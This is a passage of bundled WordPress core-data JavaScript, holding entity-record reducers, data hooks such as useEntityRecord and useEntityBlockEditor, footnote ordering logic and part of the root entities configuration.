2830 case "RECEIVE_THEME_GLOBAL_STYLE_VARIATIONS":
2831 return {
2832 ...state,
2833 [action.stylesheet]: action.variations
2834 };
2835 }
2836 return state;
2837}
2838const withMultiEntityRecordEdits = (reducer) => (state, action) => {
2839 if (action.type === "UNDO" || action.type === "REDO") {
2840 const { record } = action;
2841 let newState = state;
2842 record.forEach(({ id: { kind, name, recordId }, changes }) => {
2843 newState = reducer(newState, {
2844 type: "EDIT_ENTITY_RECORD",
2845 kind,
2846 name,
2847 recordId,
2848 edits: Object.entries(changes).reduce(
2849 (acc, [key, value]) => {
2850 acc[key] = action.type === "UNDO" ? value.from : value.to;
2851 return acc;
2852 },
2853 {}
2854 )
2855 });
2856 });
2857 return newState;
2858 }
2859 return reducer(state, action);
2860};
2861function entity(entityConfig) {
2862 return (0,external_wp_compose_namespaceObject.compose)([
2863 withMultiEntityRecordEdits,
2864 // Limit to matching action type so we don't attempt to replace action on
2865 // an unhandled action.
2866 if_matching_action_default(
2867 (action) => action.name && action.kind && action.name === entityConfig.name && action.kind === entityConfig.kind
2868 ),
2869 // Inject the entity config into the action.
2870 replace_action_default((action) => {
2871 return {
2872 key: entityConfig.key || entities/* DEFAULT_ENTITY_KEY */.C_,
2873 ...action
2874 };
2875 })
2876 ])(
2877 (0,external_wp_data_.combineReducers)({
2878 queriedData: reducer_default,
2879 edits: (state = {}, action) => {
2880 switch (action.type) {
2881 case "RECEIVE_ITEMS":
2882 const context = action?.query?.context ?? "default";
2883 if (context !== "default") {
2884 return state;
2885 }
2886 const nextState = { ...state };
2887 for (const record of action.items) {
2888 const recordId = record?.[action.key];
2889 const edits = nextState[recordId];
2890 if (!edits) {
2891 continue;
2892 }
2893 const nextEdits2 = Object.keys(edits).reduce(
2894 (acc, key) => {
2895 if (
2896 // Edits are the "raw" attribute values, but records may have
2897 // objects with more properties, so we use `get` here for the
2898 // comparison.
2899 !es6_default()(
2900 edits[key],
2901 record[key]?.raw ?? record[key]
2902 ) && // Sometimes the server alters the sent value which means
2903 // we need to also remove the edits before the api request.
2904 (!action.persistedEdits || !es6_default()(
2905 edits[key],
2906 action.persistedEdits[key]
2907 ))
2908 ) {
2909 acc[key] = edits[key];
2910 }
2911 return acc;
2912 },
2913 {}
2914 );
2915 if (Object.keys(nextEdits2).length) {
2916 nextState[recordId] = nextEdits2;
2917 } else {
2918 delete nextState[recordId];
2919 }
2920 }
2921 return nextState;
2922 case "EDIT_ENTITY_RECORD":
2923 const nextEdits = {
2924 ...state[action.recordId],
2925 ...action.edits
2926 };
2927 Object.keys(nextEdits).forEach((key) => {
2928 if (nextEdits[key] === void 0) {
2929 delete nextEdits[key];
2930 }
2931 });
2932 return {
2933 ...state,
2934 [action.recordId]: nextEdits
2935 };
2936 }
2937 return state;
2938 },
2939 saving: (state = {}, action) => {
2940 switch (action.type) {
2941 case "SAVE_ENTITY_RECORD_START":
2942 case "SAVE_ENTITY_RECORD_FINISH":
2943 return {
2944 ...state,
2945 [action.recordId]: {
2946 pending: action.type === "SAVE_ENTITY_RECORD_START",
2947 error: action.error,
2948 isAutosave: action.isAutosave
2949 }
2950 };
2951 }
2952 return state;
2953 },
2954 deleting: (state = {}, action) => {
2955 switch (action.type) {
2956 case "DELETE_ENTITY_RECORD_START":
2957 case "DELETE_ENTITY_RECORD_FINISH":
2958 return {
2959 ...state,
2960 [action.recordId]: {
2961 pending: action.type === "DELETE_ENTITY_RECORD_START",
2962 error: action.error
2963 }
2964 };
2965 }
2966 return state;
2967 },
2968 revisions: (state = {}, action) => {
2969 if (action.type === "RECEIVE_ITEM_REVISIONS") {
2970 const recordKey = action.recordKey;
2971 delete action.recordKey;
2972 const newState = reducer_default(state[recordKey], {
2973 ...action,
2974 type: "RECEIVE_ITEMS"
2975 });
2976 return {
2977 ...state,
2978 [recordKey]: newState
2979 };
2980 }
2981 if (action.type === "REMOVE_ITEMS") {
2982 return Object.fromEntries(
2983 Object.entries(state).filter(
2984 ([id]) => !action.itemIds.some((itemId) => {
2985 if (Number.isInteger(itemId)) {
2986 return itemId === +id;
2987 }
2988 return itemId === id;
2989 })
2990 )
2991 );
2992 }
2993 return state;
2994 }
2995 })
2996 );
2997}
2998function entitiesConfig(state = entities/* rootEntitiesConfig */.Mr, action) {
2999 switch (action.type) {
3000 case "ADD_ENTITIES":
3001 return [...state, ...action.entities];
3002 }
3003 return state;
3004}
3005const reducer_entities = (state = {}, action) => {
3006 const newConfig = entitiesConfig(state.config, action);
3007 let entitiesDataReducer = state.reducer;
3008 if (!entitiesDataReducer || newConfig !== state.config) {
3009 const entitiesByKind = newConfig.reduce((acc, record) => {
3010 const { kind } = record;
3011 if (!acc[kind]) {
3012 acc[kind] = [];
3013 }
3014 acc[kind].push(record);
3015 return acc;
3016 }, {});
3017 entitiesDataReducer = (0,external_wp_data_.combineReducers)(
3018 Object.fromEntries(
3019 Object.entries(entitiesByKind).map(
3020 ([kind, subEntities]) => {
3021 const kindReducer = (0,external_wp_data_.combineReducers)(
3022 Object.fromEntries(
3023 subEntities.map((entityConfig) => [
3024 entityConfig.name,
3025 entity(entityConfig)
3026 ])
3027 )
3028 );
3029 return [kind, kindReducer];
3030 }
3031 )
3032 )
3033 );
3034 }
3035 const newData = entitiesDataReducer(state.records, action);
3036 if (newData === state.records && newConfig === state.config && entitiesDataReducer === state.reducer) {
3037 return state;
3038 }
3039 return {
3040 reducer: entitiesDataReducer,
3041 records: newData,
3042 config: newConfig
3043 };
3044};
3045function undoManager(state = createUndoManager()) {
3046 return state;
3047}
3048function editsReference(state = {}, action) {
3049 switch (action.type) {
3050 case "EDIT_ENTITY_RECORD":
3051 case "UNDO":
3052 case "REDO":
3053 return {};
3054 }
3055 return state;
3056}
3057function embedPreviews(state = {}, action) {
3058 switch (action.type) {
3059 case "RECEIVE_EMBED_PREVIEW":
3060 const { url, preview } = action;
3061 return {
3062 ...state,
3063 [url]: preview
3064 };
3065 }
3066 return state;
3067}
3068function userPermissions(state = {}, action) {
3069 switch (action.type) {
3070 case "RECEIVE_USER_PERMISSION":
3071 return {
3072 ...state,
3073 [action.key]: action.isAllowed
3074 };
3075 case "RECEIVE_USER_PERMISSIONS":
3076 return {
3077 ...state,
3078 ...action.permissions
3079 };
3080 }
3081 return state;
3082}
3083function autosaves(state = {}, action) {
3084 switch (action.type) {
3085 case "RECEIVE_AUTOSAVES":
3086 const { postId, autosaves: autosavesData } = action;
3087 return {
3088 ...state,
3089 [postId]: autosavesData
3090 };
3091 }
3092 return state;
3093}
3094function blockPatterns(state = [], action) {
3095 switch (action.type) {
3096 case "RECEIVE_BLOCK_PATTERNS":
3097 return action.patterns;
3098 }
3099 return state;
3100}
3101function blockPatternCategories(state = [], action) {
3102 switch (action.type) {
3103 case "RECEIVE_BLOCK_PATTERN_CATEGORIES":
3104 return action.categories;
3105 }
3106 return state;
3107}
3108function userPatternCategories(state = [], action) {
3109 switch (action.type) {
3110 case "RECEIVE_USER_PATTERN_CATEGORIES":
3111 return action.patternCategories;
3112 }
3113 return state;
3114}
3115function navigationFallbackId(state = null, action) {
3116 switch (action.type) {
3117 case "RECEIVE_NAVIGATION_FALLBACK_ID":
3118 return action.fallbackId;
3119 }
3120 return state;
3121}
3122function themeGlobalStyleRevisions(state = {}, action) {
3123 switch (action.type) {
3124 case "RECEIVE_THEME_GLOBAL_STYLE_REVISIONS":
3125 return {
3126 ...state,
3127 [action.currentId]: action.revisions
3128 };
3129 }
3130 return state;
3131}
3132function defaultTemplates(state = {}, action) {
3133 switch (action.type) {
3134 case "RECEIVE_DEFAULT_TEMPLATE":
3135 return {
3136 ...state,
3137 [JSON.stringify(action.query)]: action.templateId
3138 };
3139 }
3140 return state;
3141}
3142function registeredPostMeta(state = {}, action) {
3143 switch (action.type) {
3144 case "RECEIVE_REGISTERED_POST_META":
3145 return {
3146 ...state,
3147 [action.postType]: action.registeredPostMeta
3148 };
3149 }
3150 return state;
3151}
3152var reducer_reducer_default = (0,external_wp_data_.combineReducers)({
3153 users,
3154 currentTheme,
3155 currentGlobalStylesId,
3156 currentUser,
3157 themeGlobalStyleVariations,
3158 themeBaseGlobalStyles,
3159 themeGlobalStyleRevisions,
3160 entities: reducer_entities,
3161 editsReference,
3162 undoManager,
3163 embedPreviews,
3164 userPermissions,
3165 autosaves,
3166 blockPatterns,
3167 blockPatternCategories,
3168 userPatternCategories,
3169 navigationFallbackId,
3170 defaultTemplates,
3171 registeredPostMeta
3172});
3173
3174
3175
3176/***/ }),
3177
3178/***/ 5663:
3179/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
3180
3181"use strict";
3182/* harmony export */ __webpack_require__.d(__webpack_exports__, {
3183/* harmony export */ xQ: () => (/* binding */ camelCase)
3184/* harmony export */ });
3185/* unused harmony exports camelCaseTransform, camelCaseTransformMerge */
3186/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(1635);
3187/* harmony import */ var pascal_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(287);
3188
3189
3190function camelCaseTransform(input, index) {
3191 if (index === 0)
3192 return input.toLowerCase();
3193 return (0,pascal_case__WEBPACK_IMPORTED_MODULE_0__/* .pascalCaseTransform */ .l3)(input, index);
3194}
3195function camelCaseTransformMerge(input, index) {
3196 if (index === 0)
3197 return input.toLowerCase();
3198 return pascalCaseTransformMerge(input);
3199}
3200function camelCase(input, options) {
3201 if (options === void 0) { options = {}; }
3202 return (0,pascal_case__WEBPACK_IMPORTED_MODULE_0__/* .pascalCase */ .fL)(input, (0,tslib__WEBPACK_IMPORTED_MODULE_1__/* .__assign */ .Cl)({ transform: camelCaseTransform }, options));
3203}
3204
3205
3206/***/ }),
3207
3208/***/ 5891:
3209/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
3210
3211"use strict";
3212
3213// EXPORTS
3214__webpack_require__.d(__webpack_exports__, {
3215 qh: () => (/* reexport */ __experimentalUseEntityRecord),
3216 bM: () => (/* reexport */ use_entity_records/* __experimentalUseEntityRecords */.bM),
3217 _: () => (/* reexport */ __experimentalUseResourcePermissions),
3218 hg: () => (/* reexport */ useEntityBlockEditor),
3219 mV: () => (/* reexport */ useEntityId),
3220 S$: () => (/* reexport */ useEntityProp),
3221 MA: () => (/* reexport */ useEntityRecord),
3222 $u: () => (/* reexport */ use_entity_records/* default */.Ay),
3223 qs: () => (/* reexport */ use_resource_permissions_default)
3224});
3225
3226// EXTERNAL MODULE: external ["wp","data"]
3227var external_wp_data_ = __webpack_require__(7143);
3228// EXTERNAL MODULE: external ["wp","deprecated"]
3229var external_wp_deprecated_ = __webpack_require__(4040);
3230var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_);
3231// EXTERNAL MODULE: external ["wp","element"]
3232var external_wp_element_ = __webpack_require__(6087);
3233// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/hooks/use-query-select.js + 2 modules
3234var use_query_select = __webpack_require__(7541);
3235// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/index.js
3236var build_module = __webpack_require__(4565);
3237;// ./node_modules/@wordpress/core-data/build-module/hooks/use-entity-record.js
3238
3239
3240
3241
3242
3243const EMPTY_OBJECT = {};
3244function useEntityRecord(kind, name, recordId, options = { enabled: true }) {
3245 const { editEntityRecord, saveEditedEntityRecord } = (0,external_wp_data_.useDispatch)(build_module.store);
3246 const mutations = (0,external_wp_element_.useMemo)(
3247 () => ({
3248 edit: (record2, editOptions = {}) => editEntityRecord(kind, name, recordId, record2, editOptions),
3249 save: (saveOptions = {}) => saveEditedEntityRecord(kind, name, recordId, {
3250 throwOnError: true,
3251 ...saveOptions
3252 })
3253 }),
3254 [editEntityRecord, kind, name, recordId, saveEditedEntityRecord]
3255 );
3256 const { editedRecord, hasEdits, edits } = (0,external_wp_data_.useSelect)(
3257 (select) => {
3258 if (!options.enabled) {
3259 return {
3260 editedRecord: EMPTY_OBJECT,
3261 hasEdits: false,
3262 edits: EMPTY_OBJECT
3263 };
3264 }
3265 return {
3266 editedRecord: select(build_module.store).getEditedEntityRecord(
3267 kind,
3268 name,
3269 recordId
3270 ),
3271 hasEdits: select(build_module.store).hasEditsForEntityRecord(
3272 kind,
3273 name,
3274 recordId
3275 ),
3276 edits: select(build_module.store).getEntityRecordNonTransientEdits(
3277 kind,
3278 name,
3279 recordId
3280 )
3281 };
3282 },
3283 [kind, name, recordId, options.enabled]
3284 );
3285 const { data: record, ...querySelectRest } = (0,use_query_select/* default */.A)(
3286 (query) => {
3287 if (!options.enabled) {
3288 return {
3289 data: null
3290 };
3291 }
3292 return query(build_module.store).getEntityRecord(kind, name, recordId);
3293 },
3294 [kind, name, recordId, options.enabled]
3295 );
3296 return {
3297 record,
3298 editedRecord,
3299 hasEdits,
3300 edits,
3301 ...querySelectRest,
3302 ...mutations
3303 };
3304}
3305function __experimentalUseEntityRecord(kind, name, recordId, options) {
3306 external_wp_deprecated_default()(`wp.data.__experimentalUseEntityRecord`, {
3307 alternative: "wp.data.useEntityRecord",
3308 since: "6.1"
3309 });
3310 return useEntityRecord(kind, name, recordId, options);
3311}
3312
3313
3314// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/hooks/use-entity-records.js
3315var use_entity_records = __webpack_require__(7078);
3316;// external ["wp","warning"]
3317const external_wp_warning_namespaceObject = window["wp"]["warning"];
3318var external_wp_warning_default = /*#__PURE__*/__webpack_require__.n(external_wp_warning_namespaceObject);
3319// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/hooks/constants.js
3320var constants = __webpack_require__(2859);
3321;// ./node_modules/@wordpress/core-data/build-module/hooks/use-resource-permissions.js
3322
3323
3324
3325
3326
3327function useResourcePermissions(resource, id) {
3328 const isEntity = typeof resource === "object";
3329 const resourceAsString = isEntity ? JSON.stringify(resource) : resource;
3330 if (isEntity && typeof id !== "undefined") {
3331 external_wp_warning_default()(
3332 `When 'resource' is an entity object, passing 'id' as a separate argument isn't supported.`
3333 );
3334 }
3335 return (0,use_query_select/* default */.A)(
3336 (resolve) => {
3337 const hasId = isEntity ? !!resource.id : !!id;
3338 const { canUser } = resolve(build_module.store);
3339 const create = canUser(
3340 "create",
3341 isEntity ? { kind: resource.kind, name: resource.name } : resource
3342 );
3343 if (!hasId) {
3344 const read2 = canUser("read", resource);
3345 const isResolving2 = create.isResolving || read2.isResolving;
3346 const hasResolved2 = create.hasResolved && read2.hasResolved;
3347 let status2 = constants/* Status */.n.Idle;
3348 if (isResolving2) {
3349 status2 = constants/* Status */.n.Resolving;
3350 } else if (hasResolved2) {
3351 status2 = constants/* Status */.n.Success;
3352 }
3353 return {
3354 status: status2,
3355 isResolving: isResolving2,
3356 hasResolved: hasResolved2,
3357 canCreate: create.hasResolved && create.data,
3358 canRead: read2.hasResolved && read2.data
3359 };
3360 }
3361 const read = canUser("read", resource, id);
3362 const update = canUser("update", resource, id);
3363 const _delete = canUser("delete", resource, id);
3364 const isResolving = read.isResolving || create.isResolving || update.isResolving || _delete.isResolving;
3365 const hasResolved = read.hasResolved && create.hasResolved && update.hasResolved && _delete.hasResolved;
3366 let status = constants/* Status */.n.Idle;
3367 if (isResolving) {
3368 status = constants/* Status */.n.Resolving;
3369 } else if (hasResolved) {
3370 status = constants/* Status */.n.Success;
3371 }
3372 return {
3373 status,
3374 isResolving,
3375 hasResolved,
3376 canRead: hasResolved && read.data,
3377 canCreate: hasResolved && create.data,
3378 canUpdate: hasResolved && update.data,
3379 canDelete: hasResolved && _delete.data
3380 };
3381 },
3382 [resourceAsString, id]
3383 );
3384}
3385var use_resource_permissions_default = useResourcePermissions;
3386function __experimentalUseResourcePermissions(resource, id) {
3387 external_wp_deprecated_default()(`wp.data.__experimentalUseResourcePermissions`, {
3388 alternative: "wp.data.useResourcePermissions",
3389 since: "6.1"
3390 });
3391 return useResourcePermissions(resource, id);
3392}
3393
3394
3395// EXTERNAL MODULE: external ["wp","blocks"]
3396var external_wp_blocks_ = __webpack_require__(4997);
3397// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/name.js
3398var build_module_name = __webpack_require__(2278);
3399// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/entity-context.js
3400var entity_context = __webpack_require__(8843);
3401;// ./node_modules/@wordpress/core-data/build-module/hooks/use-entity-id.js
3402
3403
3404function useEntityId(kind, name) {
3405 const context = (0,external_wp_element_.useContext)(entity_context/* EntityContext */.D);
3406 return context?.[kind]?.[name];
3407}
3408
3409
3410;// external ["wp","richText"]
3411const external_wp_richText_namespaceObject = window["wp"]["richText"];
3412;// external ["wp","blockEditor"]
3413const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
3414// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/lock-unlock.js + 1 modules
3415var lock_unlock = __webpack_require__(6378);
3416;// ./node_modules/@wordpress/core-data/build-module/footnotes/get-rich-text-values-cached.js
3417
3418
3419let unlockedApis;
3420const cache = /* @__PURE__ */ new WeakMap();
3421function getRichTextValuesCached(block) {
3422 if (!unlockedApis) {
3423 unlockedApis = (0,lock_unlock/* unlock */.T)(external_wp_blockEditor_namespaceObject.privateApis);
3424 }
3425 if (!cache.has(block)) {
3426 const values = unlockedApis.getRichTextValues([block]);
3427 cache.set(block, values);
3428 }
3429 return cache.get(block);
3430}
3431
3432
3433;// ./node_modules/@wordpress/core-data/build-module/footnotes/get-footnotes-order.js
3434
3435const get_footnotes_order_cache = /* @__PURE__ */ new WeakMap();
3436function getBlockFootnotesOrder(block) {
3437 if (!get_footnotes_order_cache.has(block)) {
3438 const order = [];
3439 for (const value of getRichTextValuesCached(block)) {
3440 if (!value) {
3441 continue;
3442 }
3443 value.replacements.forEach(({ type, attributes }) => {
3444 if (type === "core/footnote") {
3445 order.push(attributes["data-fn"]);
3446 }
3447 });
3448 }
3449 get_footnotes_order_cache.set(block, order);
3450 }
3451 return get_footnotes_order_cache.get(block);
3452}
3453function getFootnotesOrder(blocks) {
3454 return blocks.flatMap(getBlockFootnotesOrder);
3455}
3456
3457
3458;// ./node_modules/@wordpress/core-data/build-module/footnotes/index.js
3459
3460
3461let oldFootnotes = {};
3462function updateFootnotesFromMeta(blocks, meta) {
3463 const output = { blocks };
3464 if (!meta) {
3465 return output;
3466 }
3467 if (meta.footnotes === void 0) {
3468 return output;
3469 }
3470 const newOrder = getFootnotesOrder(blocks);
3471 const footnotes = meta.footnotes ? JSON.parse(meta.footnotes) : [];
3472 const currentOrder = footnotes.map((fn) => fn.id);
3473 if (currentOrder.join("") === newOrder.join("")) {
3474 return output;
3475 }
3476 const newFootnotes = newOrder.map(
3477 (fnId) => footnotes.find((fn) => fn.id === fnId) || oldFootnotes[fnId] || {
3478 id: fnId,
3479 content: ""
3480 }
3481 );
3482 function updateAttributes(attributes) {
3483 if (!attributes || Array.isArray(attributes) || typeof attributes !== "object") {
3484 return attributes;
3485 }
3486 attributes = { ...attributes };
3487 for (const key in attributes) {
3488 const value = attributes[key];
3489 if (Array.isArray(value)) {
3490 attributes[key] = value.map(updateAttributes);
3491 continue;
3492 }
3493 if (typeof value !== "string" && !(value instanceof external_wp_richText_namespaceObject.RichTextData)) {
3494 continue;
3495 }
3496 const richTextValue = typeof value === "string" ? external_wp_richText_namespaceObject.RichTextData.fromHTMLString(value) : new external_wp_richText_namespaceObject.RichTextData(value);
3497 let hasFootnotes = false;
3498 richTextValue.replacements.forEach((replacement) => {
3499 if (replacement.type === "core/footnote") {
3500 const id = replacement.attributes["data-fn"];
3501 const index = newOrder.indexOf(id);
3502 const countValue = (0,external_wp_richText_namespaceObject.create)({
3503 html: replacement.innerHTML
3504 });
3505 countValue.text = String(index + 1);
3506 countValue.formats = Array.from(
3507 { length: countValue.text.length },
3508 () => countValue.formats[0]
3509 );
3510 countValue.replacements = Array.from(
3511 { length: countValue.text.length },
3512 () => countValue.replacements[0]
3513 );
3514 replacement.innerHTML = (0,external_wp_richText_namespaceObject.toHTMLString)({
3515 value: countValue
3516 });
3517 hasFootnotes = true;
3518 }
3519 });
3520 if (hasFootnotes) {
3521 attributes[key] = typeof value === "string" ? richTextValue.toHTMLString() : richTextValue;
3522 }
3523 }
3524 return attributes;
3525 }
3526 function updateBlocksAttributes(__blocks) {
3527 return __blocks.map((block) => {
3528 return {
3529 ...block,
3530 attributes: updateAttributes(block.attributes),
3531 innerBlocks: updateBlocksAttributes(block.innerBlocks)
3532 };
3533 });
3534 }
3535 const newBlocks = updateBlocksAttributes(blocks);
3536 oldFootnotes = {
3537 ...oldFootnotes,
3538 ...footnotes.reduce((acc, fn) => {
3539 if (!newOrder.includes(fn.id)) {
3540 acc[fn.id] = fn;
3541 }
3542 return acc;
3543 }, {})
3544 };
3545 return {
3546 meta: {
3547 ...meta,
3548 footnotes: JSON.stringify(newFootnotes)
3549 },
3550 blocks: newBlocks
3551 };
3552}
3553
3554
3555;// ./node_modules/@wordpress/core-data/build-module/hooks/use-entity-block-editor.js
3556
3557
3558
3559
3560
3561
3562const EMPTY_ARRAY = [];
3563const parsedBlocksCache = /* @__PURE__ */ new WeakMap();
3564function useEntityBlockEditor(kind, name, { id: _id } = {}) {
3565 const providerId = useEntityId(kind, name);
3566 const id = _id ?? providerId;
3567 const { getEntityRecord, getEntityRecordEdits } = (0,external_wp_data_.useSelect)(build_module_name/* STORE_NAME */.E);
3568 const { content, editedBlocks, meta } = (0,external_wp_data_.useSelect)(
3569 (select) => {
3570 if (!id) {
3571 return {};
3572 }
3573 const { getEditedEntityRecord } = select(build_module_name/* STORE_NAME */.E);
3574 const editedRecord = getEditedEntityRecord(kind, name, id);
3575 return {
3576 editedBlocks: editedRecord.blocks,
3577 content: editedRecord.content,
3578 meta: editedRecord.meta
3579 };
3580 },
3581 [kind, name, id]
3582 );
3583 const { __unstableCreateUndoLevel, editEntityRecord } = (0,external_wp_data_.useDispatch)(build_module_name/* STORE_NAME */.E);
3584 const blocks = (0,external_wp_element_.useMemo)(() => {
3585 if (!id) {
3586 return void 0;
3587 }
3588 if (editedBlocks) {
3589 return editedBlocks;
3590 }
3591 if (!content || typeof content !== "string") {
3592 return EMPTY_ARRAY;
3593 }
3594 const edits = getEntityRecordEdits(kind, name, id);
3595 const isUnedited = !edits || !Object.keys(edits).length;
3596 const cackeKey = isUnedited ? getEntityRecord(kind, name, id) : edits;
3597 let _blocks = parsedBlocksCache.get(cackeKey);
3598 if (!_blocks) {
3599 _blocks = (0,external_wp_blocks_.parse)(content);
3600 parsedBlocksCache.set(cackeKey, _blocks);
3601 }
3602 return _blocks;
3603 }, [
3604 kind,
3605 name,
3606 id,
3607 editedBlocks,
3608 content,
3609 getEntityRecord,
3610 getEntityRecordEdits
3611 ]);
3612 const onChange = (0,external_wp_element_.useCallback)(
3613 (newBlocks, options) => {
3614 const noChange = blocks === newBlocks;
3615 if (noChange) {
3616 return __unstableCreateUndoLevel(kind, name, id);
3617 }
3618 const { selection, ...rest } = options;
3619 const edits = {
3620 selection,
3621 content: ({ blocks: blocksForSerialization = [] }) => (0,external_wp_blocks_.__unstableSerializeAndClean)(blocksForSerialization),
3622 ...updateFootnotesFromMeta(newBlocks, meta)
3623 };
3624 editEntityRecord(kind, name, id, edits, {
3625 isCached: false,
3626 ...rest
3627 });
3628 },
3629 [
3630 kind,
3631 name,
3632 id,
3633 blocks,
3634 meta,
3635 __unstableCreateUndoLevel,
3636 editEntityRecord
3637 ]
3638 );
3639 const onInput = (0,external_wp_element_.useCallback)(
3640 (newBlocks, options) => {
3641 const { selection, ...rest } = options;
3642 const footnotesChanges = updateFootnotesFromMeta(newBlocks, meta);
3643 const edits = { selection, ...footnotesChanges };
3644 editEntityRecord(kind, name, id, edits, {
3645 isCached: true,
3646 ...rest
3647 });
3648 },
3649 [kind, name, id, meta, editEntityRecord]
3650 );
3651 return [blocks, onInput, onChange];
3652}
3653
3654
3655;// ./node_modules/@wordpress/core-data/build-module/hooks/use-entity-prop.js
3656
3657
3658
3659
3660function useEntityProp(kind, name, prop, _id) {
3661 const providerId = useEntityId(kind, name);
3662 const id = _id ?? providerId;
3663 const { value, fullValue } = (0,external_wp_data_.useSelect)(
3664 (select) => {
3665 const { getEntityRecord, getEditedEntityRecord } = select(build_module_name/* STORE_NAME */.E);
3666 const record = getEntityRecord(kind, name, id);
3667 const editedRecord = getEditedEntityRecord(kind, name, id);
3668 return record && editedRecord ? {
3669 value: editedRecord[prop],
3670 fullValue: record[prop]
3671 } : {};
3672 },
3673 [kind, name, id, prop]
3674 );
3675 const { editEntityRecord } = (0,external_wp_data_.useDispatch)(build_module_name/* STORE_NAME */.E);
3676 const setValue = (0,external_wp_element_.useCallback)(
3677 (newValue) => {
3678 editEntityRecord(kind, name, id, {
3679 [prop]: newValue
3680 });
3681 },
3682 [editEntityRecord, kind, name, id, prop]
3683 );
3684 return [value, setValue, fullValue];
3685}
3686
3687
3688;// ./node_modules/@wordpress/core-data/build-module/hooks/index.js
3689
3690
3691
3692
3693
3694
3695
3696
3697
3698/***/ }),
3699
3700/***/ 5914:
3701/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
3702
3703"use strict";
3704
3705// EXPORTS
3706__webpack_require__.d(__webpack_exports__, {
3707 C_: () => (/* binding */ DEFAULT_ENTITY_KEY),
3708 L2: () => (/* binding */ additionalEntityConfigLoaders),
3709 TK: () => (/* binding */ deprecatedEntities),
3710 zD: () => (/* binding */ getMethodName),
3711 Mr: () => (/* binding */ rootEntitiesConfig)
3712});
3713
3714// UNUSED EXPORTS: prePersistPostType
3715
3716// EXTERNAL MODULE: ./node_modules/tslib/tslib.es6.mjs
3717var tslib_es6 = __webpack_require__(1635);
3718// EXTERNAL MODULE: ./node_modules/no-case/dist.es2015/index.js
3719var dist_es2015 = __webpack_require__(2226);
3720;// ./node_modules/upper-case-first/dist.es2015/index.js
3721/**
3722 * Upper case the first character of an input string.
3723 */
3724function upperCaseFirst(input) {
3725 return input.charAt(0).toUpperCase() + input.substr(1);
3726}
3727
3728;// ./node_modules/capital-case/dist.es2015/index.js
3729
3730
3731
3732function capitalCaseTransform(input) {
3733 return upperCaseFirst(input.toLowerCase());
3734}
3735function capitalCase(input, options) {
3736 if (options === void 0) { options = {}; }
3737 return (0,dist_es2015/* noCase */.W)(input, (0,tslib_es6/* __assign */.Cl)({ delimiter: " ", transform: capitalCaseTransform }, options));
3738}
3739
3740// EXTERNAL MODULE: ./node_modules/pascal-case/dist.es2015/index.js
3741var pascal_case_dist_es2015 = __webpack_require__(287);
3742// EXTERNAL MODULE: external ["wp","apiFetch"]
3743var external_wp_apiFetch_ = __webpack_require__(1455);
3744var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_);
3745// EXTERNAL MODULE: external ["wp","blocks"]
3746var external_wp_blocks_ = __webpack_require__(4997);
3747// EXTERNAL MODULE: external ["wp","i18n"]
3748var external_wp_i18n_ = __webpack_require__(7723);
3749;// ./node_modules/@wordpress/core-data/build-module/entities.js
3750
3751
3752
3753
3754
3755const DEFAULT_ENTITY_KEY = "id";
3756const POST_RAW_ATTRIBUTES = ["title", "excerpt", "content"];
3757const blocksTransientEdits = {
3758 blocks: {
3759 read: (record) => (0,external_wp_blocks_.parse)(record.content?.raw ?? ""),
3760 write: (record) => ({
3761 content: (0,external_wp_blocks_.__unstableSerializeAndClean)(record.blocks)
3762 })
3763 }
3764};
3765const rootEntitiesConfig = [
3766 {
3767 label: (0,external_wp_i18n_.__)("Base"),
3768 kind: "root",
3769 key: false,
3770 name: "__unstableBase",
3771 baseURL: "/",
3772 baseURLParams: {
3773 // Please also change the preload path when changing this.
3774 // @see lib/compat/wordpress-6.8/preload.php
3775 _fields: [
3776 "description",
3777 "gmt_offset",
3778 "home",
3779 "name",
3780 "site_icon",
3781 "site_icon_url",
3782 "site_logo",
3783 "timezone_string",
3784 "url",
3785 "page_for_posts",
3786 "page_on_front",
3787 "show_on_front"
3788 ].join(",")
3789 },
3790 // The entity doesn't support selecting multiple records.
3791 // The property is maintained for backward compatibility.
3792 plural: "__unstableBases"
3793 },
3794 {
3795 label: (0,external_wp_i18n_.__)("Post Type"),
3796 name: "postType",
3797 kind: "root",
3798 key: "slug",
3799 baseURL: "/wp/v2/types",
3800 baseURLParams: { context: "edit" },
3801 plural: "postTypes"
3802 },
3803 {
3804 name: "media",
3805 kind: "root",
3806 baseURL: "/wp/v2/media",
3807 baseURLParams: { context: "edit" },
3808 plural: "mediaItems",
3809 label: (0,external_wp_i18n_.__)("Media"),
3810 rawAttributes: ["caption", "title", "description"],
3811 supportsPagination: true
3812 },
3813 {
3814 name: "taxonomy",
3815 kind: "root",
3816 key: "slug",
3817 baseURL: "/wp/v2/taxonomies",
3818 baseURLParams: { context: "edit" },
3819 plural: "taxonomies",
3820 label: (0,external_wp_i18n_.__)("Taxonomy")
3821 },
3822 {
3823 name: "sidebar",
3824 kind: "root",
3825 baseURL: "/wp/v2/sidebars",
3826 baseURLParams: { context: "edit" },
3827 plural: "sidebars",
3828 transientEdits: { blocks: true },
3829 label: (0,external_wp_i18n_.__)("Widget areas")
3830 },
3831 {
3832 name: "widget",
3833 kind: "root",
3834 baseURL: "/wp/v2/widgets",
3835 baseURLParams: { context: "edit" },
3836 plural: "widgets",
3837 transientEdits: { blocks: true },
3838 label: (0,external_wp_i18n_.__)("Widgets")
3839 },
3840 {
3841 name: "widgetType",
3842 kind: "root",
3843 baseURL: "/wp/v2/widget-types",
3844 baseURLParams: { context: "edit" },
3845 plural: "widgetTypes",
3846 label: (0,external_wp_i18n_.__)("Widget types")
3847 },
3848 {
3849 label: (0,external_wp_i18n_.__)("User"),
3850 name: "user",
3851 kind: "root",
